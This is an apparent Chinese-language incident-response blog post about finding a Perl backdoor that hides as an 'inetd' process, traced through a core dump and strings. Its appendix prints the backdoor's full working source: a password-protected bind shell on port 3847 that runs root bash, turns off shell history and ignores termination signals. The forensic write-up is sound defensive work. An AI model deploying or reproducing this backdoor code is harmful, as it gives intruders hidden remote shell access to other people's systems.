• 对linux下perl backdoor的一段分析


    背景
    一个朋友的服务器出现了一个莫名其妙的inetd 进程,开了 21000 端口,怀疑被入侵。登陆上去简单检查了一下,发现骇客不留神把后门的一个副本,遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了,入侵事件也基本被定性。
    1. 目前主机上还运行着该后门,很有可能黑客已经通过编写启动脚本,将后门加入了随机启动。
    2. 该主机存储了大量文件,同时容量很大,普通的find 和grep 命令很难在短时间内完成检索
    3. 为了保证性能,主机没有启动locate 服务
    4. 该主机是一台redhat 主机,但是redhat 只能检查启动脚本一部分文件的完整性。

    rpm -qV initscripts
    rpm -qf /etc/init.d

    经过检查没有发现改动。
    5. 整个主机关键目录没有做完整性校验工作。

    一切似乎清晰明了,我们下一步就是找出进程中木马的位置,将其处理。但是在定位木马路径时却出现很大的困难。

    分析过程
    将代码下载到实验机上分析。

    启动后门程序

    debian:/# perl /tmp/coolc.pl

    debian:/# ps -ef
    UID PID PPID C STIME TTY TIME CMD
    root 1 0 0 13:09 ? 00:00:02 init [2]
    root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
    root 3 1 0 13:09 ? 00:00:17 [events/0]
    root 4 3 0 13:09 ? 00:00:00 [khelper]
    root 5 3 0 13:09 ? 00:00:00 [kacpid]
    root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
    root 48 3 0 13:09 ? 00:00:00 [pdflush]
    root 49 3 0 13:09 ? 00:00:01 [pdflush]
    root 51 3 0 13:09 ? 00:00:00 [aio/0]
    root 50 1 0 13:09 ? 00:00:00 [kswapd0]
    root 193 1 0 13:09 ? 00:00:00 [kseriod]
    root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
    root 221 1 0 13:09 ? 00:00:00 [khubd]
    root 299 1 0 13:09 ? 00:00:01 [kjournald]
    root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
    root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
    root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
    root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
    root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
    Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
    root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
    root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
    root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
    mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr
    --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
    root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
    root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
    daemon 2204 1 0 13:11 ? 00:00:00 /usr/sbin/atd
    root 2207 1 0 13:11 ? 00:00:00 /usr/sbin/cron
    root 2214 1 0 13:11 ? 00:00:05 /usr/sbin/apache
    root 2230 1 0 13:11 tty1 00:00:16 -bash
    root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
    root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
    root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
    root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
    www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    root 2338 1 0 13:18 tty2 00:00:05 -bash
    root 2381 2165 0 13:29 ? 00:00:15 sshd: root@pts/0,pts/1
    root 2384 2381 0 13:29 pts/0 00:00:02 -bash
    root 2401 2381 0 13:30 pts/1 00:00:00 -bash
    root 2812 1 2 18:04 pts/0 00:00:00 inetd
    root 2813 2384 0 18:04 pts/0 00:00:00 ps -ef

    通过top 检查

    #top
    PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
    2812 root 15 0 5928 4184 3064 S 0.0 2.2 0:00.09 perl

    显示成perl 进程

    通过lsof 检查

    debian:/# lsof |grep 2812
    apache 2214 root txt REG 8,1 284812 22812 /usr/sbin/apache
    apache 2276 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
    apache 2277 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
    apache 2278 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
    apache 2279 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
    apache 2290 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
    perl 2812 root cwd DIR 8,1 4096 2 /
    perl 2812 root rtd DIR 8,1 4096 2 /
    perl 2812 root txt REG 8,1 1057324 19396 /usr/bin/perl
    perl 2812 root mem REG 8,1 90248 325777 /lib/ld-2.3.2.so
    perl 2812 root mem REG 8,1 9872 325808 /lib/tls/libdl-2.3.2.so
    perl 2812 root mem REG 8,1 134496 325809 /lib/tls/libm-2.3.2.so
    perl 2812 root mem REG 8,1 78233 325819 /lib/tls/libpthread-0.60.so
    perl 2812 root mem REG 8,1 1254468 325806 /lib/tls/libc-2.3.2.so
    perl 2812 root mem REG 8,1 18876 325807 /lib/tls/libcrypt-2.3.2.so
    perl 2812 root mem REG 8,1 290576 33562 /usr/lib/locale/locale-archive
    perl 2812 root mem REG 8,1 17920 19420 /usr/lib/perl/5.8.4/auto/IO/IO.so
    perl 2812 root mem REG 8,1 22352 19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.so
    perl 2812 root mem REG 8,1 114896 19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.so
    perl 2812 root mem REG 8,1 34748 325814 /lib/tls/libnss_files-2.3.2.so
    perl 2812 root 0u CHR 136,0 2 /dev/pts/0
    perl 2812 root 1u CHR 136,0 2 /dev/pts/0
    perl 2812 root 2u CHR 136,0 2 /dev/pts/0
    perl 2812 root 3u IPv4 6116 TCP *:3847 (LISTEN)

    通过/proc 检查

    debian:/proc/2812# ls -al
    total 0
    dr-xr-xr-x 3 root root 0 2005-09-17 18:04 .
    dr-xr-xr-x 68 root root 0 2005-09-17 13:09 ..
    dr-xr-xr-x 2 root root 0 2005-09-17 18:06 attr
    -r-------- 1 root root 0 2005-09-17 18:06 auxv
    -r--r--r-- 1 root root 0 2005-09-17 18:04 cmdline
    lrwxrwxrwx 1 root root 0 2005-09-17 18:05 cwd -> /
    -r-------- 1 root root 0 2005-09-17 18:06 environ
    lrwxrwxrwx 1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perl
    dr-x------ 2 root root 0 2005-09-17 18:04 fd
    -r--r--r-- 1 root root 0 2005-09-17 18:05 maps
    -rw------- 1 root root 0 2005-09-17 18:06 mem
    -r--r--r-- 1 root root 0 2005-09-17 18:06 mounts
    lrwxrwxrwx 1 root root 0 2005-09-17 18:05 root -> /
    -r--r--r-- 1 root root 0 2005-09-17 18:04 stat
    -r--r--r-- 1 root root 0 2005-09-17 18:05 statm
    -r--r--r-- 1 root root 0 2005-09-17 18:04 status
    dr-xr-xr-x 3 root root 0 2005-09-17 18:06 task
    -r--r--r-- 1 root root 0 2005-09-17 18:06 wchan

    debian:/proc/2812/fd# ls -al
    total 4
    dr-x------ 2 root root 0 2005-09-17 18:04 .
    dr-xr-xr-x 3 root root 0 2005-09-17 18:04 ..
    lrwx------ 1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0
    lrwx------ 1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0
    lrwx------ 1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0
    lrwx------ 1 root root 64 2005-09-17 18:05 3 -> socket:[6116]

    此处注意,如果黑客用./coolc.pl 启动后门,在这里就会被显露出来。但是这里我比较狡猾的利用perl 去解释该脚本,因此此处只能显露出socket 了。

    难点
    常规检查top lsof proc 检查,得到的信息完全无法让我们定位此木马的位置,那么对方是通过什么手段来进行隐藏的呢?
    检查了一下代码,它的技巧主要是在于如下两个地方:
    1、“$0”被设置为一个虚假的名称:
    my $PROC = "inetd"; # name of the process
    ......
    $0=$PROC."\0";
    因此在进程中看到进程名是 inetd
    2、因为是 perl 脚本后门,他进行了chdir,因此在 proc 里面看到的是 perl 的信息。
    $PORT = $ARGV[0] if ($ARGV[0]);
    chdir('/');
    no strict 'refs';
    my $bindfd = *{'bind_sock'};
    ......
    这段代码导致proc 里其路径变为了/,而非程序存在路径。如此看来,整个检查工作在这一步进一步陷入僵局。
    前期背景交代中已经阐明,由于服务器文件众多,不易进行诸如find ,grep 等查找。但目前这个后门可能被写在其他脚本中,通过调用关系启动。需要及早查出。
    本来通过常规方法,通过进程与文件的关联,使用诸如lsof 等工具软件是可以查出的。但此类工具都是通过proc 的访问来获取文件的,但是目前proc 信息被重写,似乎一切都被擦除的没有了踪迹。

    Core_dump 的尝试
    采用coredump 思路是这样产生的,目前文件系统,proc 在我们基本确认没有希望获取信息的时候,大多数工具进行检查的意义也不大了。同时由于是PERL 脚本,很多信息只会
    表现为perl 进程的信息。
    但是也许在一个地方还有我们需要的信息,那就是该进程的内存中残存的信息。而linux 本身提供CORE DUMP 机制,可以让我们通过DUMP 后门进程中的数据,来获取数据。那么下面在我的实验环境中来操作一下我们的思路,看看上述方法是否可行。

    检查core dump 环境设置

    debian:~# ulimit -a
    core file size (blocks, -c) unlimited
    data seg size (kbytes, -d) unlimited
    file size (blocks, -f) unlimited
    max locked memory (kbytes, -l) unlimited
    max memory size (kbytes, -m) unlimited
    open files (-n) 1024
    pipe size (512 bytes, -p) 8
    stack size (kbytes, -s) 8192
    cpu time (seconds, -t) unlimited
    max user processes (-u) unlimited
    virtual memory (kbytes, -v) unlimited

    启动perl 木马

    debian:/# mkdir /tmp/.coolc
    debian:/# cp /root/1.pl /tmp/.coolc/coolc.pl
    debian:/# perl /tmp/.coolc/coolc.pl

    经过检查,后门正常启动。

    debian:/# ps -ef
    UID PID PPID C STIME TTY TIME CMD
    root 1 0 0 13:09 ? 00:00:00 init [2]
    root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
    root 3 1 0 13:09 ? 00:00:13 [events/0]
    root 4 3 0 13:09 ? 00:00:00 [khelper]
    root 5 3 0 13:09 ? 00:00:00 [kacpid]
    root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
    root 48 3 0 13:09 ? 00:00:00 [pdflush]
    root 49 3 0 13:09 ? 00:00:00 [pdflush]
    root 51 3 0 13:09 ? 00:00:00 [aio/0]
    root 50 1 0 13:09 ? 00:00:00 [kswapd0]
    root 193 1 0 13:09 ? 00:00:00 [kseriod]
    root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
    root 221 1 0 13:09 ? 00:00:00 [khubd]
    root 299 1 0 13:09 ? 00:00:00 [kjournald]
    root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
    root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
    root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
    root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
    root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
    Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
    root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
    root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
    root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
    mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
    root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
    root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
    daemon 2204 1 0 13:10 ? 00:00:00 /usr/sbin/atd
    root 2207 1 0 13:10 ? 00:00:00 /usr/sbin/cron
    root 2214 1 0 13:11 ? 00:00:00 /usr/sbin/apache
    root 2230 1 0 13:11 tty1 00:00:16 -bash
    root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
    root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
    root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
    root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
    www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
    root 2338 1 0 13:18 tty2 00:00:05 -bash
    root 2381 2165 0 13:29 ? 00:00:09 sshd: root@pts/0,pts/1
    root 2384 2381 0 13:29 pts/0 00:00:00 -bash
    root 2401 2381 0 13:30 pts/1 00:00:00 -bash
    root 2545 1 1 13:59 pts/0 00:00:00 inetd
    root 2546 2384 0 13:59 pts/0 00:00:00 ps -ef

    发送信号SIGSEGV 来DUMP 出我们需要的信息。

    debian:/# ps –ef
    debian:/# kill -SIGSEGV 2545

    通过string 来获取字符串。

    debian:/#stings core.2545
    ......
    INADDR_LOOPBACK
    SelectSaver.pm
    croak
    carp
    Exporter
    BEGIN
    main
    /tmp/.coolc/coolc.pl
    import
    /tmp/.coolc/coolc.pl
    Main
    ......
    找到了 :)

    总结

    经过多次检查,发现在string 出来的字符串中,在出现perl 路径等信息后,木马加密的字符串之前的内容就是后门路径,通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。

    ......
    /etc/perl
    /usr/lib/perl/5.8
    /usr/local/lib/perl/5.8.4
    /usr/local/share/perl/5.8.4
    /usr/lib/perl5
    /usr/share/perl5
    /usr/share/perl/5.8
    /usr/local/lib/site_perl
    nux-
    /tmp/coolc.pl
    /tmp/coolc.pl
    ouhEUhhJ6RbwE
    PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    ......

    本 次检查开阔了我的眼界,在解释器中的后门定位问题远比我想象的要难,因为大量的细节被封装在了解释器内部。在安全检查时,一个精巧的技巧将会使检查人员陷 入尴尬的境地,因此我们需要不断的加强深度广度的拓展,一个安全人员的知识覆盖面和对系统的熟悉程度,往往最终决定了你安全检查的成败。
    这里特别感谢raymond aa coolq 和我的讨论和技术上的帮助。

    附录
    木马源码

    #!/usr/bin/perl
    # Telnet-like Standard Daemon 0.7
    #
    # 0ldW0lf - oldwolf@atrixteam.net
    # - old-wolf@zipmai.com
    # - www.atrix.cjb.net
    # - www.atrixteam.net
    #
    # For those guys that still like to open ports
    # and use non-rooted boxes
    #
    # This has been developed to join in the TocToc
    # project code, now it's done and I'm distributing
    # this separated
    #
    # This one i made without IO::Pty so it uses
    # only standard modules... enjoy it
    #
    # tested on linux boxes.. probably will work fine on others
    # any problem... #atrix@irc.brasnet.org
    #

    ##########################################################
    # ******************* CONFIGURATION ******************** #
    ##########################################################
    my $PORT = $ARGV[0] || 3847; # default port is 3847
    my $PASS = 'ouhEUhhJ6RbwE'; # encripted password
    my $SHELL = "/bin/bash"; # shell to be executed
    my $HOME = "/tmp"; # your HOME
    my $PROC = "inetd"; # name of the process
    my $PASS_PROMPT = "Password: "; # password prompt
    my $WRONG_PASS = "Password Errata!"; # "wrong password" message
    my @STTY = ('sane', 'dec'); # stty arguments
    ##########################################################

    # feel free to change the ENV
    #### ENVironment ####
    $ENV{HOME} = $HOME;
    #$ENV{PS1} = '[\u@\h \W]: '; # the way i like :)
    # colorful PS1 is also funny :)
    $ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
    $ENV{MAIL} = '/var/mail/root';
    $ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
    $ENV{HISTFILE} = '/dev/null';
    $ENV{USER} = 'root';
    $ENV{LOGNAME} = 'root';
    $ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
    $ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*

    .exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.

    zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*

    .bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*

    .mov=01;37:';
    $ENV{SHELL} = $SHELL;
    $ENV{TERM} = 'xterm';
    #####################

    $0=$PROC."\0";

    use IO::Socket;
    use IO::Select;
    use POSIX;
    use strict;

    # i wouldn't change that
    # if i were you
    ###### SIGnals ######
    $SIG{HUP} = 'IGNORE';
    $SIG{PS} = 'IGNORE';
    $SIG{TERM} = 'IGNORE';
    $SIG{CHLD} = sub { wait; };
    #####################


    # ioctl stuff
    my %IOCTLDEF;
    $IOCTLDEF{TIOCSWINSZ} = 0x5414;
    $IOCTLDEF{TIOCNOTTY} = 0x5422;
    $IOCTLDEF{TIOCSCTTY} = 0x540E;
    safeload('sys/ttycom.ph', 1); # BSD
    safeload('sys/ioctl.ph', 1);
    safeload('asm/ioctls.ph', 1);

    foreach my $IOCTL (keys(%IOCTLDEF)) {
    next if (defined(&{$IOCTL}));

    if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux
    while() {
    if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
    eval "sub $IOCTL () {$1;}";
    last;
    }
    }
    close(IOD);
    }

    # i realy dunno if i can do that.. but.. here it goes
    eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
    }


    # starting...
    $PORT = $ARGV[0] if ($ARGV[0]);
    chdir('/');

    no strict 'refs';
    my $bindfd = *{'bind_sock'};
    *{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";
    my $bind = \*{$bindfd};

    my $pid = fork();
    die "ERROR: I could not fork() the process." unless defined($pid);
    exit if $pid;


    my %CLIENT;
    my $sel_serv = IO::Select->new($bind);
    my $sel_shell = IO::Select->new();


    # main loop...
    while ( 1 ) {
    select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);

    read_clients();
    read_shells();
    }

    sub read_clients {
    map { read_client($_) } ($sel_serv->can_read(0.01));
    }

    sub read_client {
    my $fh = shift;

    if ($fh eq $bind) {
    my $newcon = $bind->accept;
    $sel_serv->add($newcon);
    $CLIENT{$newcon}->{senha} = 0;
    $CLIENT{$newcon}->{sock} = $newcon;
    $fh->autoflush(1);
    do_client($newcon, '3', '5', '1');
    sleep(1);
    write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);
    } else {
    my $msg;
    my $nread = sysread($fh, $msg, 1024);

    if ($nread == 0) {
    close_client($fh);
    } else {
    telnet_parse($fh, $msg);
    }
    }
    }

    sub read_shells {
    map { read_shell($_) } ($sel_shell->can_read(0.01));
    }

    sub telnet_parse {
    my ($cli, $msg) = @_;
    my $char = (split('', $msg))[0];

    if (ord($char) == 255) {
    chr_parse($cli, $msg);
    } else {
    if ($CLIENT{$cli}->{senha} == 0) {
    $CLIENT{$cli}->{buf} .= $msg;

    return() unless ($msg =~ /\r|\n/);

    my $pass = $CLIENT{$cli}->{buf};
    $CLIENT{$cli}->{buf} = '';

    $pass =~ s/\n//g;
    $pass =~ s/\0//g;
    $pass =~ s/\r//g;

    if (crypt($pass, $PASS) ne $PASS) {
    finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");
    } else {
    $CLIENT{$cli}->{senha} = 1;
    write_client($cli, chr(255).chr(253).chr(31));
    write_client($cli, "\r\n\r\r\n\r");
    new_shell($cli);
    }
    return();
    }

    $msg =~ s/\r\n\0\0//g;
    $msg =~ s/\0//g;
    $msg =~ s/\r\n/\n/g;
    write_shell($cli, $msg);
    }
    }

    sub read_shell {
    my $shell = shift;
    my $cli;
    map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);

    my $msg;
    my $nread = sysread($shell, $msg, 1024);

    if ($nread == 0) {
    finish_client($cli, "Terminal closed.\r\n\r");
    } else {
    write_client($cli, $msg);
    }
    }

    sub to_chr {
    my $chrs = '';
    map { $chrs .= chr($_) } (split(/ +/, shift));
    return($chrs);
    }

    sub do_client {
    my ($client, @codes) = @_;
    map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
    }


    sub chr_parse {
    my ($client, $chrs) = @_;

    my $ords = '';
    map { $ords .= ord($_).' ' } (split(//, $chrs));
    my $msg = '';


    if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
    my $winsize = pack('C4', $4, $3, $2, $1);
    ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";
    }

    foreach my $code (split("255 ", $ords)) {
    if ($code =~ /(\d+) (.*)$/) {
    my $codes = $2;
    if ($1 == 251) {
    # do whatever you want dude ehehe
    $msg .= chr(255).chr(253);

    map { $msg .= chr($_) } (split(/ +/, $codes));
    }
    }
    }

    write_client($client, $msg) if ($msg);
    return(1);
    }

    sub new_shell {
    my $cli = shift;

    POSIX::setpgid(0, 0);

    my ($tty, $pty);

    unless (($tty, $pty) = open_tty($cli)) {
    finish_client($cli, "ERROR: No more pty磗 avaliable\n");
    return(undef);
    }

    my $pid = fork();
    if (not defined($pid)) {
    finish_client($cli, "ERROR: fork()\n");
    return(undef);
    }

    unless($pid) {
    close($pty);

    local(*DEVTTY);

    if (open (DEVTTY, "/dev/tty")) {
    ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";
    close(DEVTTY);
    }

    POSIX::setsid();
    ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";

    open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";
    open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
    open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";
    close($tty);

    sleep(1);

    foreach my $stty ("/bin/stty", "/usr/bin/stty") {
    next unless (-x $stty);
    map { system("$stty", $_) } @STTY;
    }

    chdir("$HOME");
    { exec("$SHELL") };

    syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
    syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");
    syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");

    while (my $msg = ) {
    $msg =~ s/\n$//;
    $msg =~ s/\r$//;

    if ($msg =~ /^\s*cd\s+(\S+)/) {
    my $notf = "directory $1 not found!\n";
    chdir($1) || syswrite(STDOUT, $notf, length($notf));
    } else {
    system("$msg 2>&1");
    }
    syswrite(STDOUT, "I'm FuCKeD!# ");
    }

    exit;
    }
    close($tty);

    select($pty); $| = 1;
    select(STDOUT);

    set_raw($pty);

    $CLIENT{$cli}->{shell} = $pty;
    $sel_shell->add($pty);

    return(1);
    }

    # Funciton set_raw() stolen from IO::Pty
    sub set_raw($) {
    my $self = shift;
    return 1 if not POSIX::isatty($self);
    my $ttyno = fileno($self);
    my $termios = new POSIX::Termios;
    unless ($termios) {
    # warn "set_raw: new POSIX::Termios failed: $!";
    return undef;
    }
    unless ($termios->getattr($ttyno)) {
    # warn "set_raw: getattr($ttyno) failed: $!";
    return undef;
    }
    $termios->setiflag(0);
    $termios->setoflag(0);
    $termios->setlflag(0);
    $termios->setcc(&POSIX::VMIN, 1);
    $termios->setcc(&POSIX::VTIME, 0);
    unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
    # warn "set_raw: setattr($ttyno) failed: $!";
    return undef;
    }
    return 1;
    }

    sub open_tty {
    no strict;
    my $cli = shift;
    my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/


    for (my $i = 0; $i < 256; $i++) {
    my $pty = get_tty($i, "/dev/pty");
    next unless (open($PTY, "+> $pty"));

    my $tty = get_tty($i, "/dev/tty");

    unless(open($TTY, "+> $tty")) {
    close($PTY);
    next;
    }

    return($TTY, $PTY);

    }

    return();
    }

    sub get_tty {
    my ($num, $base) = @_;

    my @series = ('p' .. 'z', 'a' .. 'e');
    my @subs = ('0' .. '9', 'a' .. 'f');

    my $buf = $base;
    $buf .= @series[($num >> 4) & 0xF];
    $buf .= @subs[$num & 0xF];

    return($buf);
    }

    sub safeload {
    my ($module, $require, $arg) = @_;
    my $file = $module;
    $file =~ s/::/\//g;

    if ($require) {
    # all found gonna be loaded
    map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
    } else {
    $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
    return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
    }

    return();
    }

    sub write_shell {
    my ($cli, $msg) = @_;
    my $shell = $CLIENT{$cli}->{shell};

    return(undef) unless ($shell);

    foreach my $m (split_chars($msg, 20)) {
    read_shells();
    print $shell $m;
    read_shells();
    }
    return(1);
    }

    sub split_chars {
    my ($msg, $nchars) = @_;

    my @splited;
    my @chrs = split ('', $msg);
    my $done = 0;
    while ( 1 ) {
    my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
    $done += $nchars;
    last if (length($splited) < 1);
    push(@splited, $splited);
    }
    return(@splited);
    }

    sub finish_client {
    my ($cli, $msg) = @_;
    write_client($cli, $msg);
    close_client($cli);
    }

    sub close_client {
    my $cli = shift;
    my $sock = $CLIENT{$cli}->{sock};

    $sel_serv->remove($sock);
    if ($CLIENT{$cli}->{shell}) {
    my $shell = $CLIENT{$cli}->{shell};
    $sel_shell->remove($shell);
    close($shell);
    }
    $sock->close() if($sock);
    delete($CLIENT{$cli});
    }

    sub write_client {
    my ($cli, $msg) = @_;
    my $sock = $CLIENT{$cli}->{sock};
    syswrite($sock, $msg, length($msg)) if ($sock);
    }
  • 相关阅读:
    做一个假文件上传按钮
    说说正则表达式的exec方法
    ES6快到碗里来---一个简单的爬虫指南
    Vue.js之组件(component)
    分享一些求职上的坑
    hexo 静态页面生成后页面打不开的问题
    todolist增加markdown模块
    说说看不懂时该怎么办
    markdown语法简介
    vue.js过渡效果之--javascript钩子
  • 原文地址:https://www.cnblogs.com/top5/p/1582937.html
Copyright © 2020-2023  润新知